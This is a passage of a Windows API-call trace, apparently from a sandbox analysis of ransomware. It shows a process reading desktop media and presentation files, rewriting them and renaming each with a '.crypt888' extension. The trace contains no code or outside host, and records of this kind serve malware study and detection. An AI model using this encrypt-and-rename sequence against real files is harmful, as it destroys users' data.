lpFilePart=0x0) returned 0x41 [0080.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.086] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rtxnw7aafwoe s.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad2e3500, ftCreationTime.dwHighDateTime=0x1d45686, ftLastAccessTime.dwLowDateTime=0xba4fd370, ftLastAccessTime.dwHighDateTime=0x1d46201, ftLastWriteTime.dwLowDateTime=0xc0ee5ca0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xdf30)) returned 1 [0080.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.087] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rtxnw7aafwoe s.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rtxnw7aafwoe s.mp4.crypt888")) returned 1 [0080.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a", lpFilePart=0x0) returned 0x34 [0080.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yzw3yh0yrb.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.088] GetFileType (hFile=0x174) returned 0x1 [0080.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.088] GetFileType (hFile=0x174) returned 0x1 [0080.088] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x6404 [0080.088] ReadFile (in: hFile=0x174, lpBuffer=0x2859478, nNumberOfBytesToRead=0x6404, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2859478*, lpNumberOfBytesRead=0x39ed58*=0x6404, lpOverlapped=0x0) returned 1 [0080.089] CloseHandle (hObject=0x174) returned 1 [0080.105] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a", lpFilePart=0x0) returned 0x34 [0080.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yzw3yh0yrb.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.107] GetFileType (hFile=0x174) returned 0x1 [0080.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.107] GetFileType (hFile=0x174) returned 0x1 [0080.107] WriteFile (in: hFile=0x174, lpBuffer=0x26df6c8*, nNumberOfBytesToWrite=0x6410, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x26df6c8*, lpNumberOfBytesWritten=0x39ed48*=0x6410, lpOverlapped=0x0) returned 1 [0080.109] CloseHandle (hObject=0x174) returned 1 [0080.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a", lpFilePart=0x0) returned 0x34 [0080.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a.crypt888", lpFilePart=0x0) returned 0x3d [0080.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.110] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yzw3yh0yrb.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61bd4f00, ftCreationTime.dwHighDateTime=0x1d45971, ftLastAccessTime.dwLowDateTime=0xbb5249b0, ftLastAccessTime.dwHighDateTime=0x1d4601c, ftLastWriteTime.dwLowDateTime=0xc0f31f60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x6410)) returned 1 [0080.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.110] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yzw3yh0yrb.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yzw3YH0YrB.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yzw3yh0yrb.m4a.crypt888")) returned 1 [0080.112] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4", lpFilePart=0x0) returned 0x30 [0080.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zv3ynv.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.112] GetFileType (hFile=0x174) returned 0x1 [0080.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.112] GetFileType (hFile=0x174) returned 0x1 [0080.112] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x4c90 [0080.112] ReadFile (in: hFile=0x174, lpBuffer=0x26e5e8c, nNumberOfBytesToRead=0x4c90, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26e5e8c*, lpNumberOfBytesRead=0x39ed58*=0x4c90, lpOverlapped=0x0) returned 1 [0080.113] CloseHandle (hObject=0x174) returned 1 [0080.128] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4", lpFilePart=0x0) returned 0x30 [0080.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zv3ynv.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.130] GetFileType (hFile=0x174) returned 0x1 [0080.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.130] GetFileType (hFile=0x174) returned 0x1 [0080.130] WriteFile (in: hFile=0x174, lpBuffer=0x274accc*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x274accc*, lpNumberOfBytesWritten=0x39ed48*=0x4ca0, lpOverlapped=0x0) returned 1 [0080.131] CloseHandle (hObject=0x174) returned 1 [0080.134] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4", lpFilePart=0x0) returned 0x30 [0080.134] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4.crypt888", lpFilePart=0x0) returned 0x39 [0080.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.134] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zv3ynv.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad66ecb0, ftCreationTime.dwHighDateTime=0x1d45de3, ftLastAccessTime.dwLowDateTime=0x4e8c3d80, ftLastAccessTime.dwHighDateTime=0x1d462c5, ftLastWriteTime.dwLowDateTime=0xc0f580c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x4ca0)) returned 1 [0080.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zv3ynv.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zV3Ynv.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zv3ynv.mp4.crypt888")) returned 1 [0080.135] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a", lpFilePart=0x0) returned 0x32 [0080.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ dk-3si.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.135] GetFileType (hFile=0x174) returned 0x1 [0080.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.135] GetFileType (hFile=0x174) returned 0x1 [0080.135] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x1a0d [0080.136] ReadFile (in: hFile=0x174, lpBuffer=0x274fce8, nNumberOfBytesToRead=0x1a0d, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x274fce8*, lpNumberOfBytesRead=0x39ed58*=0x1a0d, lpOverlapped=0x0) returned 1 [0080.137] CloseHandle (hObject=0x174) returned 1 [0080.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a", lpFilePart=0x0) returned 0x32 [0080.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ dk-3si.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.158] GetFileType (hFile=0x174) returned 0x1 [0080.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.158] GetFileType (hFile=0x174) returned 0x1 [0080.158] WriteFile (in: hFile=0x174, lpBuffer=0x27a4d00*, nNumberOfBytesToWrite=0x1a10, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27a4d00*, lpNumberOfBytesWritten=0x39ed48*=0x1a10, lpOverlapped=0x0) returned 1 [0080.160] CloseHandle (hObject=0x174) returned 1 [0080.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a", lpFilePart=0x0) returned 0x32 [0080.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a.crypt888", lpFilePart=0x0) returned 0x3b [0080.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ dk-3si.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938c8e20, ftCreationTime.dwHighDateTime=0x1d45a51, ftLastAccessTime.dwLowDateTime=0x4b9717a0, ftLastAccessTime.dwHighDateTime=0x1d45fcb, ftLastWriteTime.dwLowDateTime=0xc0fa4380, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1a10)) returned 1 [0080.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.162] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ dk-3si.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ Dk-3SI.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ dk-3si.m4a.crypt888")) returned 1 [0080.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt", lpFilePart=0x0) returned 0x34 [0080.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_p7805f68c.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.163] GetFileType (hFile=0x174) returned 0x1 [0080.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.163] GetFileType (hFile=0x174) returned 0x1 [0080.163] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xf0cd [0080.164] ReadFile (in: hFile=0x174, lpBuffer=0x27a6aa8, nNumberOfBytesToRead=0xf0cd, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27a6aa8*, lpNumberOfBytesRead=0x39ed58*=0xf0cd, lpOverlapped=0x0) returned 1 [0080.165] CloseHandle (hObject=0x174) returned 1 [0080.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt", lpFilePart=0x0) returned 0x34 [0080.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_p7805f68c.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.189] GetFileType (hFile=0x174) returned 0x1 [0080.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.189] GetFileType (hFile=0x174) returned 0x1 [0080.189] WriteFile (in: hFile=0x174, lpBuffer=0x2820af4*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2820af4*, lpNumberOfBytesWritten=0x39ed48*=0xf0d0, lpOverlapped=0x0) returned 1 [0080.191] CloseHandle (hObject=0x174) returned 1 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt", lpFilePart=0x0) returned 0x34 [0080.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt.crypt888", lpFilePart=0x0) returned 0x3d [0080.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_p7805f68c.ppt"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d6eb680, ftCreationTime.dwHighDateTime=0x1d45f0a, ftLastAccessTime.dwLowDateTime=0xd178fde0, ftLastAccessTime.dwHighDateTime=0x1d45b91, ftLastWriteTime.dwLowDateTime=0xc0ff0640, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xf0d0)) returned 1 [0080.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_p7805f68c.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_p7805F68C.ppt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_p7805f68c.ppt.crypt888")) returned 1 [0080.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0080.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_", lpFilePart=0x0) returned 0x33 [0080.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\", lpFilePart=0x0) returned 0x34 [0080.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0080.198] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.198] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.198] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.198] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0080.199] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0080.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0080.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0080.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0080.199] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_", lpFilePart=0x0) returned 0x33 [0080.199] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\", lpFilePart=0x0) returned 0x34 [0080.199] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a7a8 [0080.200] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.200] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.200] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.200] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.200] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0080.200] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0080.200] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0080.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0080.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0080.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4", lpFilePart=0x0) returned 0x4c [0080.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0080.201] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\cmjq_wky2zcfyz_kjng2.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.201] GetFileType (hFile=0x174) returned 0x1 [0080.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0080.201] GetFileType (hFile=0x174) returned 0x1 [0080.201] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x3a79 [0080.201] ReadFile (in: hFile=0x174, lpBuffer=0x2832154, nNumberOfBytesToRead=0x3a79, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2832154*, lpNumberOfBytesRead=0x39ed24*=0x3a79, lpOverlapped=0x0) returned 1 [0080.202] CloseHandle (hObject=0x174) returned 1 [0080.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4", lpFilePart=0x0) returned 0x4c [0080.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0080.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PNzKdryQ8tp9_\\cMJQ_WKy2ZCfYz_kJNg2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pnzkdryq8tp9_\\cmjq_wky2zcfyz_kjng2.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.218] GetFileType (hFile=0x174) returned 0x1 [0080.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0080.218] GetFileType (hFile=0x174) returned 0x1 [0080.218] WriteFile (in: hFile=0x174, lpBuffer=0x289139c*, nNumberOfBytesToWrite=0x3a80, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x289139c*, lpNumberOfBytesWritten=0x39ed14*=0x3a80, lpOverlapped=0x0) 